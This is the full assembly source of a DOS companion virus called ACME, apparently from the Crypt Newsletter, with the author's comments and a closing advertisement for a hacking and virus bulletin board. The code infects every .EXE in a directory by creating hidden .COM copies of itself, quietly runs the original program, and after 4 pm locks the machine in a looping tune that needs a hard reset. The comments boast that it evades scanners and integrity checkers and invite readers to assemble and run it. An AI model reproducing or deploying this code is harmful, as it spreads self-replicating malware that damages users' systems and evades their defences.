; ACME COMPANION VIRUS for Crypt Newsletter 9 ; ; ACME is a fast and simple companion virus which will create a ; spawned copy of itself for EVERY .EXE file it can find in the ; current directory. ; ; ACME is ready to assemble using A86. If you recall, an earlier Crypt ; letter included an A86-only source listing. (Strict TASM/MASM compatible ; assemblers will need the manual addition of a couple simple declarative ; statements.) I included ACME in this form so fans of Isaacson's ; technique can gloat about the code not requiring "red tape." ;-] ; A86 will assemble ACME directly to a .COMfile virus, no linker ; necessary. ; ; ACME currently eludes all scanners and as a companion virus, openly ; defies every integrity checker I have in my inventory with the EXCEPTION ; of Stiller Research's. This issue includes a quality report on ; Solomon's Toolkit, so it's only fair to state that while the documentation ; for this product seems to indicate that the developers know what a ; companion infection is, the software does nothing to protect against ; it in default mode. ACME flies through the Toolkit, for now. Go figure. ; ; ACME will also play a generic ACME-style virus tune late in the ; afternoon. Those who fancy a musical virus but have never heard one are ; encouraged to play with ACME. Set your system clock to anytime after ; 4:00 pm. The musical payload takes up most of the space in this virus, ; removing it shaves the virus to 242 bytes - nice and small if you like. ; ; The virus purist may recognize the root of ACME as a piece of code known ; as ZENO - a small, single-step companion infector. ZENO's author is ; thanked, wherever he/she is. START: jmp VIR_BEGIN ; get going WILDCARD DB "*.EXE",0 FILE_EXT DB "COM",0 FILE_FOUND DB 12 DUP(' '), 0 FILE_CREATE DB 12 DUP(' '), 0 SEARCH_ATTRIB DW 17H NUM_INFECT DW 0 MUZIK DW 4304,0006, 4063,0006, 4304,0006, 4063,0006, ;MUZIK - notes/delay DW 3043,0006, 4831,0006, 4063,0006, 3043,0006, ;in format xxxx,yyyy DW 4304,0006, 4063,0006, 4304,0006, 4063,0006, DW 3043,0006, 4831,0006, 4063,0006, 3043,0006, DW 4304,0006, 4063,0006, 4304,0006, 4063,0006, DW 3043,0006, 4831,0006, 4063,0006, 3043,0006, DW 4304,0006, 4063,0006, 4304,0006, 4063,0006, DW 3043,0006, 5119,0006, 5423,0006, 3043,0006, DW 6087,0020, DW 6087,0006, DW 7239,0006, 3619,0006, 4831,0006, 6087,0006 DW 7670,0006, 7239,0006, 4831,0006, 3619,0006 DW 6087,0006, 4063,0006, 3043,0006, 5119,0006 DW 4831,0006, 6087,0006, 7239,0006, 8126,0006 DW 6087,0020, DW 4304,0006, 4063,0006, 4304,0006, 4063,0006, DW 3043,0006, 4831,0006, 4063,0006, 3043,0006, DW 4304,0006, 4063,0006, 4304,0006, 4063,0006, DW 3043,0006, 4831,0006, 4063,0006, 3043,0006, DW 4304,0006, 4063,0006, 4304,0006, 4063,0006, DW 3043,0006, 5119,0006, 5423,0006, 3043,0006, DW 6087,0020, DW 6087,0006, DW 7239,0006, 3619,0006, 4831,0006, 6087,0006 DW 7670,0006, 7239,0006, 4831,0006, 3619,0006 DW 6087,0006, 4063,0006, 3043,0006, 5119,0006 DW 4831,0006, 6087,0006, 7239,0006, 8126,0006 DW 6087,0020, DW 7670,0006, 7239,0006, 4831,0006, 3619,0006 DW 3043,0006, 3619,0006, 4831,0006, 6087,0006 DW 3043,0010, DW 4304,0006, 4063,0006, 4304,0006, 4063,0006, DW 3043,0006, 4831,0006, 4063,0006, 3043,0006, DW 4304,0006, 4063,0006, 4304,0006, 4063,0006, DW 3043,0006, 4831,0006, 4063,0006, 3043,0006, DW 4304,0006, 4063,0006, 4304,0006, 4063,0006, DW 3043,0006, 5119,0006, 5423,0006, 3043,0006, DW 6087,0020, DW 7670,0006, 7239,0006, 4831,0006, 3619,0006 DW 3043,0006, 3619,0006, 4831,0006, 6087,0006 DW 3043,0010, DW 6087,0006, DW 7239,0006, 3619,0006, 4831,0006, 6087,0006 DW 7670,0006, 7239,0006, 4831,0006, 3619,0006 DW 6087,0006, 4063,0006, 3043,0006, 5119,0006 DW 4831,0006, 6087,0006, 7239,0006, 8126,0006 DW 6087,0020, DW 0ffffh My_Cmd: CMD_LEN DB 13 FILE_CLONE DB 12 DUP (' '), 0 ;------------------------------------------------------------------; Prepare_command: cld mov di,OFFSET FILE_CLONE mov al,0 mov cx,12 repne scasb ; find the end of string \0 mov al,0Dh ; stosb ; replace \0 with a mov ax,12 ;store length of the command sub ax,cx mov CMD_LEN, al ret ;------------------------------------------------------------------; Store_name: mov di,OFFSET FILE_FOUND ;Point to buffer. mov si,158 ;stow the file found in buffer mov cx,12 rep movsb mov di,OFFSET FILE_CREATE ;Point to buffer. mov si,158 mov cx,12 rep movsb cld mov di,OFFSET FILE_CREATE mov al,'.' mov cx,9 repne scasb ;find the '.' mov si,OFFSET FILE_EXT mov cx,3 rep movsb ;replace the .EXE with .COM ;from buffer ret ;------------------------------------------------------------------; ;Does the file exist? Check_file: mov dx,OFFSET FILE_CREATE mov cx,0 mov ax,3d00h ; Open file, read only int 21h Chk_done: ret ;------------------------------------------------------------------; Infect_file: ;create companion routine mov dx,OFFSET FILE_CREATE ;contains name of "companion" mov cx,0 mov ah,3ch ;construct file int 21h jc EXIT ;Write virus to companion file mov bx,ax mov cx,(OFFSET END_OF_CODE - OFFSET START) ;virus length mov dx,OFFSET START mov ah,40h ;write to file function int 21h ;do it ;Close file mov ah,3eh ; ASSUMES bx still has file handle int 21h ;Change attributes mov dx,OFFSET FILE_CREATE ;of created file to mov cx,3 ;(1) read only and (2) hidden mov ax,4301h int 21h ret ;------------------------------------------------------------------ ; Read all the directory filenames and store as records in buffer. ;------------------------------------------------------------------ Vir_begin: mov ah,02Ch ;DOS get time function int 021h mov al,ch ;Copy hour into AL cbw ;Sign-extend AL into AX cmp ax,0010h ;Did the function return 16 (4 pm)? jge TOON ;If greater than or equal, muzik! mov sp,offset STACK_HERE ;move stack down mov bx,sp add bx,15 mov cl,4 shr bx,cl mov ah,4ah ;deallocate rest of memory int 21h mov di,OFFSET FILE_CLONE ;Point to buffer. mov si,OFFSET FILE_FOUND mov cx,12 rep movsb Read_dir: mov dx,OFFSET WILDCARD ;file mask for directory search mov cx,SEARCH_ATTRIB mov ah,4Eh ;find the first matching file int 21h jc EXIT ;If empty directory, exit Do_file: call STORE_NAME call CHECK_FILE call INFECT_FILE Find_next: mov ah,4fh ; find next file and keep finding until int 21h ; all jnz Do_File ; infected Exit: ; Run the original program call Prepare_command mov si, OFFSET MY_CMD int 2Eh ; Pass command to command ; interpreter for execution mov ax,4C00H ; Exit to DOS int 21h ;------------------------------------------------------------------- ;This routine enables ACME virus to compel the pc to play the ;ACME virus song just about the time the clock-watchers are getting ;ready to leave ;------------------------------------------------------------------- TOON: cli ;interrupts off mov al,10110110xb ;the number out 43h,al ;to send to the speaker lea si,MUZIK ;point (si) to the ACME note table TOON2: cld lodsw ;load word into ax and increment (si) cmp ax,0ffffh ;is it ffff? If so, end of table jz GO_MUZIK2 ;so, time to jump into endless loop out 42h,al mov al,ah out 42h,al ;send it next in al,61h ;get value to turn on speaker or al,00000011xb ;OR the gotten value out 61h,al ;now we turn on speaker lodsw ;load the repeat loop count into (ax) LOOP6: mov cx,8000 ;delay count LOOP7: loop LOOP7 ;do the delay dec ax ;decrement repeat count jnz LOOP6 ;if not = 0 loop back in al,61h ;all done and al,11111100xb ;number turns speaker off out 61h,al ;send it jmp short TOON2 ;now go do next note GO_MUZIK2: ;our loop point sti ;enable interrupts jmp TOON ;jump back to beginning - this code ; has the additional advantage of ;locking out CTRL-ALT-DEL reboot. ;The user must do a hard reset to recover from ACME. END_OF_CODE = $ STACK_HERE EQU END_OF_CODE + 512 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ